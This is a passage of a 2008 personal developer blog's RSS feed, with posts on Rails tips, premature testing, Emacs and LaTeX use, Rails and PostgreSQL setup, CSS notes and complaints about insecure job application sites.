<p>Remember that if you wanted to use these in your controller, you have
to require and include it.  I recommend against using the shorthand
versions because it sucks for readability.</p>
<div class="markdown-heading"><h2 class="heading-element">Metaprogramming</h2><a id="user-content-metaprogramming" class="anchor" aria-label="Permalink: Metaprogramming" href="#metaprogramming"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>When I was trying to create a RESTful TagsController with the
<a href="http://agilewebdevelopment.com/plugins/acts_as_taggable_on_steroids" rel="nofollow">acts_as_taggable</a>
plugin, I created a form that looked like:</p>
<pre><code>&lt;input id="tag" type="text" size="17" name="tag"/&gt;
&lt;input id="taggable[id]" type="hidden" value="14" name="taggable[id]"/&gt;
&lt;input id="taggable[type]" type="hidden" value="Place" name="taggable[type]"/&gt;
</code></pre>
<p>When this form was posted, I would get a string for the class of the
object that I wanted to tag in taggable[type].  In normal Ruby, you
can call
<a href="http://www.ruby-doc.org/core/classes/Kernel.html" rel="nofollow">Kernel.const_get(classname)</a>
to get the Class object for classname.  In Rails, this has been
simplified further to be just <a href="http://infovore.org/archives/2006/08/02/getting-a-class-object-in-ruby-from-a-string-containing-that-classes-name/" rel="nofollow">classname.constantize</a></p>
<div class="markdown-heading"><h2 class="heading-element">Inheritance</h2><a id="user-content-inheritance" class="anchor" aria-label="Permalink: Inheritance" href="#inheritance"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><a href="http://m.onkey.org/" rel="nofollow">Namespaced Models</a>:</p>
<pre><code>class Pet &lt; ActiveRecord::Base
  self.abstract_class = true

  belongs_to :person
  validates_presence_of :name
end

class Dog &lt; Pet
  def bark
    "baaw"
  end
end
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Cool Syntax</h2><a id="user-content-cool-syntax" class="anchor" aria-label="Permalink: Cool Syntax" href="#cool-syntax"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<pre><code>assert_equal 1, Developer.connection.select_value(&lt;&lt;-end_sql).to_i
  SELECT count(*) FROM developers_projects
  WHERE project_id = #{project.id}
  AND developer_id = #{developer.id}
end_sql
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Miscellanous</h2><a id="user-content-miscellanous" class="anchor" aria-label="Permalink: Miscellanous" href="#miscellanous"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>Hash.symbolize_keys! - turns all keys to symbols</li>
</ul>
  ]]></description>
</item>

<item>
  <title>Premature Software Testing</title>
  <link>https://jch.github.io/posts/2008-03-10-premature-software-testing.html
</link>
  <guid>https://jch.github.io/posts/2008-03-10-premature-software-testing.html
</guid>
  <pubDate>Mon, 10 Mar 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I've fallen victim to it a few times now and would like to remind
myself of the causes and consequences.  Don't get me wrong, I love
testing and have attempted/done/failed at it ever since CS61B.  I've
used standardized test frameworks, hackish quickie frameworks from
school, and created my own small frameworks for specific projects.
Testing is a good thing.</p>
<p>But there is such a thing as testing too early.  My most recent mishap
happened during my internship.  I finished a tool that I thought did
what I want, and fully tested it.  Well, the plus side was that it was
perfectly tested against what it does, and worked beautifully for all
possible inputs.  The downside was that the code didn't do what it was
supposed to do!  I misunderstood my own requirements and coded
something wrong.  Then instead of having tests that could support me
as I refactored, I ended up with an extra set of barriers that kept me
constrained to wrong solutions.  In other words, I believed in my
tests and this slowed down my redesign towards a correct solution.</p>
<p>Another time this happened to me was during cs164 while I was writing
an Earley parser.  This one cut me deep because the solution just
happened to work against the cases I specified in my tests.  Then
about one week before the due date, I noticed that I misread the
original paper and implemented a system with different semantics.  All
the tests that exercised individual methods were scrapped.  In the
end, all tests were scrapped :(</p>
<p>I lost many hours on both those mistakes, but I have noticed different
cases when I'm more successful.  Here are some guidelines I think work
well:</p>
<div class="markdown-heading"><h2 class="heading-element">When to Start Testing</h2><a id="user-content-when-to-start-testing" class="anchor" aria-label="Permalink: When to Start Testing" href="#when-to-start-testing"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<p>start testing when you start coding for real.</p>
</li>
<li>
<p>start coding <em>for real</em> after you've read and re-read your
spec enough times to recite it backwards.  Think of a design, think of
how use cases would fare against that design.</p>
</li>
<li>
<p>if there are sections of the design that are ambiguous, or if you
aren't sure of what tools to use to implement something, explore with
quick dummy code and take notes.  Don't even bother putting the dummy
code in your repo, or actual directory... It'll only tempt you to keep
crappy code.  Throw the code away, but keep the notes.</p>
</li>
<li>
<p>with design doc, and notes from exploring in hand, try writing some
real code.  If you find yourself rewriting a ton of stuff repeatedly,
you didn't design/explore your problem space enough before starting.</p>
</li>
<li>
<p>when exploring concepts and designs, it's a good idea to explore
what test strategies are appropriate.  I say appropriate because
there'll always be some gigantic mammoth of a testing framework with
more features than your project needs and a configuration and learning
curve to match.  Sometimes, the framework that's "just right" is one
that you glue together.</p>
</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">How to Test</h2><a id="user-content-how-to-test" class="anchor" aria-label="Permalink: How to Test" href="#how-to-test"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>There are plenty of good guides out there on 'what' to test, but I
think many of them provide examples that are too trivial and brittle
against refactoring.</p>
<ul>
<li>
<p>when testing data models, focus on getting consistent domains, and
lightweight models.  If it's hard to test, it might indicate a flaw
in your design.</p>
</li>
<li>
<p>unit testing is fantastic, but double check that the methods you're
testing are actually relevant and useful.  A correct method doesn't
imply a useful one.  Also, instead of tying very strictly with method
names, it can be more readable and flexible to describe your test in
terms of the action or mutation.</p>
</li>
<li>
<p>don't strictly focus on unit testing.  Do the functional tests in
parallel to expose useless methods and flawed interactions early on.
The same applies for integration tests.  Also, the sooner you
communicate with modules written by other members of your team, the
better.</p>
</li>
</ul>
<p>We all knew that testing too late or not testing at all can cause
cancer, but there is such a thing as testing too early.  It wastes
your time, and may restrict you to a suboptimal or incorrect design.
Furthermore, testing isn't the same as designing.  No amount of random
testing will yield a solid design.  Rather, an elegant design will
naturally encourage you to think about tests, and those tests can then
verify your implementation.  Testing is like eating your vegetables:
it's good for your health in the long run, but eating too much or the
wrong kind will give you the runs.</p>
  ]]></description>
</item>

<item>
  <title>Customizing Emacs</title>
  <link>https://jch.github.io/posts/2008-02-14-customizing-emacs.html
</link>
  <guid>https://jch.github.io/posts/2008-02-14-customizing-emacs.html
</guid>
  <pubDate>Thu, 14 Feb 2008 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>My editor of choice is eight megs and constantly swapping.  I didn't
meticulously choose my editor, but rather had one forced upon me
freshman year in CS61A.  Being young and impressionable at the time, I
saw no downsides to the editor and kept using it more and more day
after day.  First it was coding, then notes, then email.  Now four
years later, I'm basically married to my editor, for better or for
worse.  For a complete reference of my .emacs file, see <a href="https://github.com/jch/dotfiles">this
link</a>.</p>
<div class="markdown-heading"><h2 class="heading-element">Movement</h2><a id="user-content-movement" class="anchor" aria-label="Permalink: Movement" href="#movement"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>One of the most important features of an editor for a developer is
ease to move point, emacs terminology for cursor, within a file and
between files.  I'm glad I took that hour in 61A lab to go through the
emacs tutorial (M-x tutorial) and learn the basics of movement.  In
terms of customization, the only option I changed is mapping M-g  to
'goto-line'.</p>
<pre><code>(global-set-key "\M-g" 'goto-line)
</code></pre>
<p>Two feature I still tend to neglect to use are 'bookmarks' and 'tags'.
Bookmarks allow you to save a specific location in a specific buffer,
but the keybinding to set a bookmark is <em>hrm</em>, rather cumbersome.
Tags are this magical feature that I've had mixed results with.  It
allows you to index and quickly jump to interesting places like
function and class definitions.  Unfortunately, sometimes it also
likes to index <em>uninteresting</em> places and jumps you to those.</p>
<div class="markdown-heading"><h2 class="heading-element">Text Manipulation</h2><a id="user-content-text-manipulation" class="anchor" aria-label="Permalink: Text Manipulation" href="#text-manipulation"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Ever wanted to leverage the power of unix on some region of text?
Trying using M-! (shell command), or M-| (shell command on region).
As if that's not enough, if you prefix either of them with M-[k] for
some number k, then the output of the command gets inserted at point.
This is great for sorting (sort -n) on a bunch of imports or includes,
and also for inserting useful snippets of text (which perl, date)</p>
<p>Another amazing feature is rectangular editing:</p>
<pre><code>C-x r t
C-x r d
</code></pre>
<p>These two commands mean insert and delete respectively.  The two
complementary use cases are to select the beginning of several lines
and use 't' to insert a comment character and then use 'd' to delete
them when you're done.  Sure you could use <code>M-x comment-region</code>, but
sometimes that doesn't act quite right, and these two are better
built-in to my muscle memory.</p>
<p>Another super lazy trick is <code>M-/</code>.  This tries to complete the current
word you're typing with words that are in other buffers.  If it's not
the right one, just <code>M-/</code> to cycle to the next one.</p>
<div class="markdown-heading"><h2 class="heading-element">Look and Feel</h2><a id="user-content-look-and-feel" class="anchor" aria-label="Permalink: Look and Feel" href="#look-and-feel"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Let's face it, to become a true hacker, you have to adopt some obscure
interface that's so catered to you that it'll wow and gag everyone
else who dares try to use it.  Such is the case of my own settings.  I
didn't do too much to it, but even little things can make a big
difference.</p>
<p>My favorite quick thing is to change the text to be white on black:</p>
<pre><code>(set-background-color "black")
(set-foreground-color "white")
</code></pre>
<p>Next, I like syntax highlighting so I turn on the extremely poorly
named:</p>
<pre><code>(global-font-lock-mode t)
</code></pre>
<p>Then, I turn off a few things that I know I won't use:</p>
<pre><code>(setq inhibit-startup-message t) ; I'm using emacs, duh
(menu-bar-mode -1) ; menus can still be seen with M-`
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Broken Things</h2><a id="user-content-broken-things" class="anchor" aria-label="Permalink: Broken Things" href="#broken-things"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Even though emacs can be all things to all people, there have been a
few annoyances I can't figure out.  My worst beef is how backspace has
different behavior wherever I go.  I understand that it's most likely
because of the different shells and environments I'm using, but it's
too bad emacs can't just magically figure it out for me.  Right now I
have a line in my .emacs:</p>
<pre><code>; fix annoying shell backspace problem
; 0 for ibook, 1 for imac
(normal-erase-is-backspace-mode 1)
</code></pre>
<p>Note how I have to edit that value by hand or otherwise be doomed to
forward-delete instead of backwards.</p>
<div class="markdown-heading"><h2 class="heading-element">Modularizing .emacs</h2><a id="user-content-modularizing-emacs" class="anchor" aria-label="Permalink: Modularizing .emacs" href="#modularizing-emacs"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>.emacs is the config file that lives in your homedir and is loaded
when Emacs starts.  I'll be honest and admit that my .emacs is pretty
messy at the moment and needs a serious <em>refactor</em>.  I'm both
delighted and exasperated that my config needs to be <em>programmed</em>.  I
read <a href="http://a-nickels-worth.blogspot.com/2007/11/effective-emacs.html" rel="nofollow">this
post</a>
talking about some emacs tips, and I'm interested in learning more
about autoload and optimizing some of the calls.</p>
  ]]></description>
</item>

<item>
  <title>Common Latex Usage</title>
  <link>https://jch.github.io/posts/2008-02-14-common-latex-usage.html
</link>
  <guid>https://jch.github.io/posts/2008-02-14-common-latex-usage.html
</guid>
  <pubDate>Thu, 14 Feb 2008 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>Since high school, I've used word processors less and less.  I hate
how slow they load, I hate how annoying and proprietary the formats
are, I hate how ugly they end up printing and how hard it is to
customize my documents.  Enter Latex.</p>
<div class="markdown-heading"><h2 class="heading-element">Overview</h2><a id="user-content-overview" class="anchor" aria-label="Permalink: Overview" href="#overview"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Wikipedia defines <a href="http://en.wikipedia.org/wiki/LaTeX" rel="nofollow">Latex</a> to be:</p>
<blockquote>
<p>LaTeX is a document markup language and document
preparation system for the TeX typesetting program.</p>
</blockquote>
<p>In practice, I like to think of it as a document processor plugin for
the editor of your choice.  Instead of only being able to edit essays,
you can edit any type of document you like, be it a math formula
cheatsheet, or a full page banner.</p>
<p>My history with Latex has been far from ideal, but I've come to terms
with the downsides enough that I can use it exclusively.  Here are the
pros and cons as far as I see it:</p>
<div class="markdown-heading"><h3 class="heading-element">Cons</h3><a id="user-content-cons" class="anchor" aria-label="Permalink: Cons" href="#cons"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<p>Learning a new language - Instead of using menus to apply formatting
and styles to sections of a document, Latex uses tags to <em>describe</em>
the semantics of the sections of document.  This requires the user
to learn a set of tags and environments.</p>
</li>
<li>
<p>Anti-visual - Latex's about as far from WYSIWYG as possible.  In
fact, you can't even preview your document as your typing it.  Sure
you can install an emacs mode for preview, and you could have 'xdvi'
running to keep a continuous preview of your document, but the fact
you have to 'compile' the document means an unavoidable wait.  If
you're a person who can't work without a live preview, don't even
bother with Latex.</p>
</li>
<li>
<p>Anti-portable, Anti-collaboration - If your friends don't use Latex,
hell, I'd be surprised if they've even heard of it, then you can
only give them the unmodifiable output PDF.  They can't directly
edit your draft as they would in Word and send it back to you.</p>
</li>
<li>
<p>Focus on layout rather than semantics - Latex is the opposite of
HTML in that you have to control every bit of formatting yourself.
It really clutters up the document and isn't nearly as easy to
maintain if the document is updated often.</p>
</li>
</ul>
<div class="markdown-heading"><h3 class="heading-element">Pros</h3><a id="user-content-pros" class="anchor" aria-label="Permalink: Pros" href="#pros"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<p>Super-portable (output) - everyone worth talking to will be able to
open PDFs.  You also be print-perfect output, everytime.</p>
</li>
<li>
<p>Anti-bloat - choose your editor, compile when you feel like it.</p>
</li>
<li>
<p>Semantic documents - the ability to restyle your document, but with
more control than CSS offers.</p>
</li>
</ul>
<div class="markdown-heading"><h3 class="heading-element">Common Commands</h3><a id="user-content-common-commands" class="anchor" aria-label="Permalink: Common Commands" href="#common-commands"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>\documentclass{article}</li>
<li>\usepackage{fullpage, amsmath}</li>
</ul>
  ]]></description>
</item>

<item>
  <title>My Computing Environment</title>
  <link>https://jch.github.io/posts/2008-02-12-my-computing-environment.html
</link>
  <guid>https://jch.github.io/posts/2008-02-12-my-computing-environment.html
</guid>
  <pubDate>Tue, 12 Feb 2008 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>It happens to all developers.  You're stuck in a place where you need
to get dev work done, but you have to use a computer that isn't
meticuously tweaked to all your obscure settings.  You try using your
editor of choice, only to find all your custom keybindings broken and
the backspace not working.  The chair you sit on is too hard.  The
screen is too small, too flickery.  Everything just <em>feels</em> wrong.</p>
<p>I hate other peoples' computers.  I hate everything about working on
another person's computer.  I hate how it doesn't act exactly like my
computer.  I hate how nothing is where I expect it to be.  I hate not
having M-g mapped to goto-line in emacs almost as much as I hate not
having emacs on a machine!</p>
<p>I've switched through a lot of different ways of doing things.  The
good bits stick, the less useful stuff gets forgotten.  I definitely
don't think I have my ideal environment set up, but there's definitely
slow incremental progress.</p>
<div class="markdown-heading"><h2 class="heading-element">Painware</h2><a id="user-content-painware" class="anchor" aria-label="Permalink: Painware" href="#painware"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Let's start with the simple stuff.  Long development times require a
comfortable setup.  For me, this includes a dual display setup, an
Microsoft ergo-keyboard, and a comfortable chair.  You'd think this
would be common sense, but I only got this setup after extremely sore
forearms and a messed up back during my compilers project.
Specifically, I use the <a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&amp;location=http%3A%2F%2Fwww.amazon.com%2FMicrosoft-Natural-Ergo-Keyboard-4000%2Fdp%2FB000A6PPOK&amp;tag=what0d-20&amp;linkCode=ur2&amp;camp=1789&amp;creative=9325" rel="nofollow">Microsoft
Natural Ergo 4000</a><a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/788ae05f0c98c1420e0b60dbad4a1475f35cf196e5402090f36211ad2157a8fd/687474703a2f2f7777772e6173736f632d616d617a6f6e2e636f6d2f652f69723f743d7768617430642d3230266c3d757232266f3d31"><img src="https://camo.githubusercontent.com/788ae05f0c98c1420e0b60dbad4a1475f35cf196e5402090f36211ad2157a8fd/687474703a2f2f7777772e6173736f632d616d617a6f6e2e636f6d2f652f69723f743d7768617430642d3230266c3d757232266f3d31" width="1" height="1" border="0" alt="" data-canonical-src="http://www.assoc-amazon.com/e/ir?t=what0d-20&amp;l=ur2&amp;o=1" style="max-width: 100%;"></a>, and a beefy
mesh backed chair with lumbar support I got from Costco.</p>
<div class="markdown-heading"><h2 class="heading-element">Hardware</h2><a id="user-content-hardware" class="anchor" aria-label="Permalink: Hardware" href="#hardware"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The two computers I use everyday are a 12" iBook G4, and a 24"
Alumninum iMac.   My requirements for computer hardware isn't about
raw number-crunching power.  Instead, I'd much rather have a computer
that's <em>fast enough</em> and doesn't harress me.  Noise is the big one for
me.  I loved my last desktop cause it had just the right amount of
cooling with so little noise that I could sleep a meter away from it
and not hear it being on.</p>
<p>If I could redo this setup, I would consolidate the two machines into
a single Macbook Pro because it's a pain in the ass to have the same
environment across multiple machines.</p>
<div class="markdown-heading"><h2 class="heading-element">Operating System</h2><a id="user-content-operating-system" class="anchor" aria-label="Permalink: Operating System" href="#operating-system"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I like OS X for it's unix internals and consistent UI and usage
patterns.  I can't use Windows because their shell isn't usable
enough.  I still like Linux for dev work, but I don't like it non-dev
related activities: e.g. web surfing, chat, organization.</p>
<div class="markdown-heading"><h2 class="heading-element">Tools</h2><a id="user-content-tools" class="anchor" aria-label="Permalink: Tools" href="#tools"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<a href="http://www.gnu.org/software/screen/" rel="nofollow">GNU screen</a> - console window manager</li>
<li>
<a href="http://www.faqs.org/docs/abs/HTML/sedawk.html" rel="nofollow">sed and awk</a> - this
one hasn't stuck yet.</li>
<li>
<a href="http://petdance.com/ack/" rel="nofollow">ack</a> - After I learn to use ctags better,
this might not be necessary.</li>
<li>
<a href="http://git-scm.com/" rel="nofollow">git</a> and <a href="https://github.com/">Github</a>, with
<a href="http://gitx.frim.nl/" rel="nofollow">GitX</a> desktop client.</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">End Bits</h2><a id="user-content-end-bits" class="anchor" aria-label="Permalink: End Bits" href="#end-bits"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>As you can see, it doesn't sound like I use that many differet tools.
Just like my software, I like to keep my dev environment simple and
really focus on a core set of functionality.  When it comes down to
it, all I need is <a href="/articles/2008/02/14/customizing-emacs">something</a> to <a href="/articles/2008/04/22/emacs-tips">write
in</a>, a browser to look up stuff, and a shell to
glue everything together.  More and more, I find myself looking for
hosted solutions to local tools because it's just easier to maintain
and more accessible.</p>
<div class="markdown-heading"><h2 class="heading-element">External Resources</h2><a id="user-content-external-resources" class="anchor" aria-label="Permalink: External Resources" href="#external-resources"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<p><a href="http://www.silentpcreview.com/" rel="nofollow">Silent PC Review</a> - is a fantastic
site by Mike Chin with extensive tests about computer component
noise and whole systems.</p>
</li>
<li>
<p><a href="http://www.notebookreview.com/default.asp?newsID=2123" rel="nofollow">Why iBook?</a></p>
<ul>
<li>I wrote a review of my iBook when I first got it years ago.  Going
back and reading it, I feel that all my statements are still relevant.
What's more, my iBook works better than when I first got it!
Complaints that still apply: uneven lighting to LCD, dim LCD.
Definitely not bright enough for outdoor use.  Upgrading HDD made it
slightly louder, but well worth the performance bump.  I might switch
to a macbook at some point, but the iBook is fantastic so far.
<em>Update:</em> Coupa has given me a Macbook.  Maybe I'll write a comparison
review to it someday.
<em>Update:</em> Back to my iBook, tempted to get a Macbook Air or a Pro.</li>
</ul>
</li>
</ul>
  ]]></description>
</item>

<item>
  <title>Setup Rails with Postgresql</title>
  <link>https://jch.github.io/posts/2008-02-05-setup-rails-with-postgresql.html
</link>
  <guid>https://jch.github.io/posts/2008-02-05-setup-rails-with-postgresql.html
</guid>
  <pubDate>Tue, 05 Feb 2008 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>Everytime I set up a Rails project, there are many braindead steps
that need to be followed.  Instead of doing a web search each time I
need to get an app setup, I follow these simple sequence of
instructions.</p>
<p>The first thing to do is to create the rails directory structure.
Many Rails tutorials assume SQLite or MySQL.  Here in ivy covered UC
Berkeley, our database of choice is Postgresql.</p>
<pre><code>rails --database=postgresql myapp
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Postgresql</h2><a id="user-content-postgresql" class="anchor" aria-label="Permalink: Postgresql" href="#postgresql"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<pre><code>(as postgres admin user)
psql template1

create role myapp with createdb login password 'myapp';  // 'login' is optional if you plan to use psql
// with newer versions of Rails, 'rake db:create:all' will create all the databases listed in config/database.yml
select * from pg_user;    // verify user created
select * from pg_shadow;  // sysid listed here
create database myapp_development owner myapp;
create database myapp_test owner myapp;
create database myapp_production owner myapp;

(in RAILS_ROOT)
rake db:migrate
</code></pre>
<p>If rake complains that it can't load the file 'postgres', then you are
missing the postgresql database adapter.  You can get it via:</p>
<pre><code>sudo gem install pg
</code></pre>
<p>If that fails, read the <a href="http://wiki.rubyonrails.org/rails/pages/PostgreSQL" rel="nofollow">wiki
page</a> about it.
For the lazy, you can simply install the slower pure ruby adapter
'postgres-pr'</p>
<p>The 'postgres' gem is
<a href="http://archives.postgresql.org/pgsql-interfaces/2007-12/msg00001.php" rel="nofollow">unmaintained</a>,
and a new <a href="http://rubyforge.org/projects/ruby-pg" rel="nofollow">fork of the project 'pg'</a>.</p>
<div class="markdown-heading"><h2 class="heading-element">Config</h2><a id="user-content-config" class="anchor" aria-label="Permalink: Config" href="#config"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Keep your database.yml
<a href="http://blog.bleything.net/2006/06/27/dry-out-your-database-yml" rel="nofollow">DRY</a>.
Edit database.yml as follows:</p>
<pre><code>common: &amp;common
  adapter: postgresql
  username: myapp
  password: password # from psql setup, see Postgresql

development:
  &lt;&lt;: *common
  database: myapp_development

test:
  &lt;&lt;: *common
  database: myapp_test

production:
  &lt;&lt;: *common
  database: myapp_production
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Subversion</h2><a id="user-content-subversion" class="anchor" aria-label="Permalink: Subversion" href="#subversion"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The following keeps your repository squeaky clean:</p>
<pre><code>mv myapp myapp-tmp
mkdir -p myapp/{branches,tags}
mv myapp-tmp myapp/trunk
cd myapp/trunk
rm -rf log/* tmp/*
mv config/database{,-example}.yml
svn ps svn:ignore '*' log
svn ps svn:ignore '*' tmp
svn ps svn:ignore 'database.yml' config
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Updating Stuff</h2><a id="user-content-updating-stuff" class="anchor" aria-label="Permalink: Updating Stuff" href="#updating-stuff"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>To update rails, do</p>
<pre><code>sudo gem install -y rails
</code></pre>
  ]]></description>
</item>

<item>
  <title>CSS Tips and Tricks</title>
  <link>https://jch.github.io/posts/2008-02-05-css-tips-and-tricks.html
</link>
  <guid>https://jch.github.io/posts/2008-02-05-css-tips-and-tricks.html
</guid>
  <pubDate>Tue, 05 Feb 2008 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>These aren't organized in any way for now.  Maybe when I collect
enough of them, I'll create a cookbook of some kind.</p>
<div class="markdown-heading"><h3 class="heading-element">Centering within a Block Element</h3><a id="user-content-centering-within-a-block-element" class="anchor" aria-label="Permalink: Centering within a Block Element" href="#centering-within-a-block-element"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<div id="user-content-outer">
  <div id="user-content-centered">
      <p>Le Awesome!</p>
      <p>Poo poo!</p>
  </div>
</div>
<div class="markdown-heading"><h3 class="heading-element">Clearing Block Elements</h3><a id="user-content-clearing-block-elements" class="anchor" aria-label="Permalink: Clearing Block Elements" href="#clearing-block-elements"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The clear attribute of block elements specify whether anything can
occur to the <em>left</em> or <em>right</em> or <em>both</em> (either side) of a block
element.  For example, if a div has 'clear: left' set on it, then no
element will be allowed to be left of it.  If there is, then the
cleared element will be pushed down to the next line.</p>
<div class="markdown-heading"><h3 class="heading-element">Spacing</h3><a id="user-content-spacing" class="anchor" aria-label="Permalink: Spacing" href="#spacing"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Spacing is really important and can be hard to remember at first, but
it's really intuitive after you learn it:</p>
<pre><code>  Margin
  +-----Border---------------------------------------+
  |           Padding                                |
  |                                                  |
  |     Content                                      |
  |                                                  |
  |                                                  |
  |                                                  |
  |                                                  |
  |                                                  |
  +--------------------------------------------------+
</code></pre>
<ul>
<li><a href="http://www.noupe.com/css/using-css-to-do-anything-50-creative-examples-and-tutorials.html" rel="nofollow">CSS to do anything</a></li>
<li><a href="http://ryanfait.com/resources/footer-stick-to-bottom-of-page/" rel="nofollow">Sticky Bottom Footer</a></li>
</ul>
  ]]></description>
</item>

<item>
  <title>Infuriating Job Applications</title>
  <link>https://jch.github.io/posts/2008-01-31-infuriating-job-applications.html
</link>
  <guid>https://jch.github.io/posts/2008-01-31-infuriating-job-applications.html
</guid>
  <pubDate>Thu, 31 Jan 2008 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>Spring is in the air, but instead of allergies, I'm seeing my peers
being hit hard by job anxieties.  Thanks to this gloomy weather, I've
been on top of my job applications.  That isn't to say that every day
has been a merry job hunt.  Normally I would've just let the small
things slide, but it's time to be more frank.  When companies come to
a career fair, they have just as much at stake as the people they're
hiring.  What surprises me is how oblivious certain companies are to
how they're damaging their own reputation.  Here's a rundown of what
can use improvement.</p>
<div class="markdown-heading"><h2 class="heading-element">Lack of Enthusiathism</h2><a id="user-content-lack-of-enthusiathism" class="anchor" aria-label="Permalink: Lack of Enthusiathism" href="#lack-of-enthusiathism"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I understand that being a recuiter is difficult.  You have to talk all
day, have good candidates and bad, and repeat the same elevator pitch
and answer the same questions.  It sucks.  I understand that.  But
showing fatigue and lack of interest isn't the way to go.  People are
watching, and you're representing your company.  Show some enthusiam!</p>
<p>On the polar opposite are the recruiters who are too grabby.  I'd much
rather see this than the former, but this can also get annoying.  If
you can sense that candidate you're talking to isn't interested, or
wouldn't be a great match for your company, why waste the opportunity
to meet the eager guy waiting to talk to you?</p>
<div class="markdown-heading"><h2 class="heading-element">Two Faced Tactics</h2><a id="user-content-two-faced-tactics" class="anchor" aria-label="Permalink: Two Faced Tactics" href="#two-faced-tactics"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Give the same spiel to everyone and make everyone comfortable.  The
day's hectic enough as it is without extra misinformation.  It doesn't
help if you tell different stories to different people.  I noticed a
few companies brought along recruiters who had only just started.
When I'd ask them questions, sometimes they would answer differently
than their coworkers, or not be able to answer at all.</p>
<div class="markdown-heading"><h2 class="heading-element">Outsourcing your Hiring</h2><a id="user-content-outsourcing-your-hiring" class="anchor" aria-label="Permalink: Outsourcing your Hiring" href="#outsourcing-your-hiring"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I think outsourcing's a fantastic idea.  The company saves time and
money and can focus on their business and products.  But for pete's
sake, check on who you're outsourcing to see if they're doing a good
job!  I think both Facebook and Garmin dropped the ball on this one by
using Taleo.  I'm not sure who to point fingers at, but the problems I
saw with the application submission was laughably bad.</p>
<div class="markdown-heading"><h3 class="heading-element">Garmin</h3><a id="user-content-garmin" class="anchor" aria-label="Permalink: Garmin" href="#garmin"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>The job application site didn't render properly in non-IE browsers.</li>
<li>The site looked like sh*t in IE.</li>
<li>The site would break randomly and scroll the page funny at times.</li>
<li>The site REQUIRED my FULL NAME and SOCIAL SECURITY NUMBER in order
to submit my application.  What's worse, it didn't even use SSL.
Yep, guess what, my SSN is 111-11-1111.</li>
</ul>
<div class="markdown-heading"><h3 class="heading-element">Facebook</h3><a id="user-content-facebook" class="anchor" aria-label="Permalink: Facebook" href="#facebook"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<p>A badly attached resume gives me a cryptic corrupt error message
without any gesture to try again or remedy the problem.</p>
</li>
<li>
<p>The password they ask for doesn't allow '@'.  Why is this?</p>
</li>
</ul>
<p><a target="_blank" rel="noopener noreferrer" href="/images/no-symbol-password.png"><img src="/images/no-symbol-password.png" style="max-width: 100%;"></a></p>
<ul>
<li>The password I enter is stored in PLAINTEXT.  Thankfully, I've
learned to set a initial dummy password to ensure a site at least
hashes my password before I submit a legit password.  superpassword
for the win!</li>
</ul>
<p><a target="_blank" rel="noopener noreferrer" href="/images/plaintext-password.png"><img src="/images/plaintext-password.png" style="max-width: 100%;"></a></p>
<div class="markdown-heading"><h2 class="heading-element">The Pros</h2><a id="user-content-the-pros" class="anchor" aria-label="Permalink: The Pros" href="#the-pros"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Ratting on recuiters isn't very nice.  I understand they have it hard
too.  I really do appreciate the little things and I definitely do
remember these impressions when I go home to follow up.  It was nice
that the Oracle recruiter remembered me and made some small talk with
me even though I already saw her a couple weeks ago.  It's nice to be
contacted within the time a recruiter says.</p>
  ]]></description>
</item>

<item>
  <title>Flaco Blog</title>
  <link>https://jch.github.io/posts/2008-01-27-flaco-blog.html
</link>
  <guid>https://jch.github.io/posts/2008-01-27-flaco-blog.html
</guid>
  <pubDate>Sun, 27 Jan 2008 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>A while back I was chatting to Arthur and bitching about all the
various blog systems.  To date, I've tried a wide cross section of
them and found them all to be inadequate.  Arthur's proposed solution
